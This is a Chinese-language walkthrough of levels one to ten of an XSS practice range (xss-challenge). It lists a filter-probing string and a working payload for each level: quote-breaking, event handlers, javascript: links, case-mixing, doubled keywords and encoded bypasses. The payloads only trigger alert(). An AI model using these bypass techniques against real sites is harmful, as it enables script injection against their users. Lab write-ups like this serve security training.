XSS 挑战
前言
本次将演示xss-challenge
靶场第一关到第十关的破解方法
万能测试代码<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
第一关
查看源码
//这里可以直接输入
<script>alert()</script>
第二关
查看源码
//根据源码可以看出以双引号闭合,代码如下
"> <script>alert()</script>
第三关
//首先尝试以单引号闭合,发现没有作用,查看源码发现过滤尖括号,使用onblur
' onblur=javascript:alert()
//点击输入框后点击一下页面即可过关
第四关
//本次以双引号闭合,和上一关差不多,代码如下:
" onblur=javascript:alert()
第五关
//本次以双引号闭合,发现<script>和<on>会被转换,这里可以使用"<a href>"
"> <a href=javascript:alert()>
第六关
//观察源码发现这次被转换的更多,但是不慌,先使用万能测试代码跑一下
//发现可以使用大小写绕过,双引号闭合
"> <Script>alert()</Script>
第七关
//这次依旧是双引号闭合,使用万能测试跑一下,发现会消失一些,不急,输入两次
"> <scrscriptipt>alert()</scrscriptipt>
第八关
//这关就有意思了,居然会有一个链接,依旧是老套路,发现他居然连双引号都过滤了,我们可以尝试编码
javasc%26%23x72%3Bipt%3Aalert()
//这里不可以出现r,所以我们想把c转换为16进制,再进行url编码
第九关
//第九关和第八关的界面差不多,相同方式尝试一下
//发现报错,提醒不合法?猜测不合法的原因是没有http://
javasc%26%23x72%3Bipt%3Aalert('http%3A%2F%2F')
第十关
//这一关居然没有输入框,查看源码才发现被隐藏了,直接暴力破解
value=text onclick=alert()